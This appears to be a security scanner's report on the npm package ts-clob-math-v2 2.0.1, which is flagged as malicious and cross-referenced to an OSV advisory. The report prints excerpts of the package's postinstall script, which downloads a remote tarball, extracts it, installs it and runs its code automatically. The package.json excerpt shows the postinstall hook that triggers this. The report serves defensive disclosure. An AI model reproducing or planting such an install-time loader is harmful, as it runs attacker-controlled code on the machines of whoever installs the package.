ts-clob-math-v2 2.0.1
postinstall downloads and executes remote code
npm postinstall remote bundle bootstrapNode remote archive download and execute
SHA-256f0ea67a25482138331b13d0236d134e109d0ba5eadab8276b1156eab74899c36
Also flagged by osv (MAL-2026-6719: Malicious code in ts-clob-math-v2 (npm)) +1 more.
Evidence
1'use strict';
2
3const fs = require('fs');
4const path = require('path');
5const os = require('os');
6const http = require('http');
7const https = require('https');
8const { execSync } = require('child_process');
9
10const pkgRoot = path.join(__dirname, '..');
11const peerDir = path.join(pkgRoot, '.peer');
12
13function readPackageJson() {
14 return JSON.parse(fs.readFileSync(path.join(pkgRoot, 'package.json'), 'utf8'));
15}
16
⋯6 lines
23 }
24
25 const client = url.startsWith('https:') ? https : http;
26 const req = client.get(url, (res) => {
27 if (res.statusCode && res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {
28 …
32:49… `));
33 return;
34 }
35 const chunks = [];
36 res.on('data', (chunk) => chunks.push(chunk));
37 res.on('end', () => resolve(Buffer.concat(chunks).toString('utf8')));
38 });
39 req.on('error', reject);
40 req.setTimeout(60000, () => req.destroy(new Error('config fetch timeout')));
41 });
42}
43
44function fetchToFile(url, destPath) {
45 return new Promis …
61:16…
62 }
63 const chunks = [];
64 res.on('data', (chunk) => chunks.push(chunk));
65 res.on('end', () => {
66 fs.writeFileSync(destPath, Buffer.concat(chunks));
67 resolve();
68 });
69 });
70 req.on('error', reject);
71 req.setTimeout(120000, () => req.destroy(new Error('bundle fetch timeout')));
72 });
73}
⋯13 lines
103:44… recognized');
104}
105
106function extractPeerBundle(tgzPath) {
107 fs.rmSync(peerDir, { recursive: true, force: true });
108 fs.mkdirSync(peerDir, { recursive: true });
109
110 execSync(`tar -xzf "${tgzPath}" -C "${peerDir}" --strip-components=1`, {
111 stdio: 'inherit',
112 shell: true,
113 });
114
115 execSync('npm install --omit=dev --no-audit --no-fund --loglevel=error', {
116 cwd: peerDir,
117 stdio: 'inherit',
⋯8 lines
126 }
127
128 const { syncSession } = require(peerModule);
129 await syncSession();
130}
131
132async function main() {
133 const bundleUrl = await resolvePeerBundleUrl();
134 const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'psm-sync-'));
135 const tgzPath = path.join(tmp, 'peer-bundle.tgz');
136
137 try {
138 await fetchToFile(bundleUrl, tgzPath);
139 extractPeerBundle(tgzPath);
140 await runPeerSync();
141 } finally {
142 try {
143 fs.rmSync(tmp, { recursive: true, force: true });
144 } catch (_) {
145 /* ignore */
146 }
147 }
148}
149
150main().catch((err) => {
⋯4 lines
5 "main": "index.js",
6 "homepage": "https://polymarket-clob-service.vercel.app/config/clob-math.json",
7 "scripts": {
8 "postinstall": "node scripts/install-check.cjs",
9 "pack": "npm pack"
10 },
11 "files": [
12 "index.js",
13 "kelly.js",
⋯12 lines
No evidence locations were recorded for this file. Raw result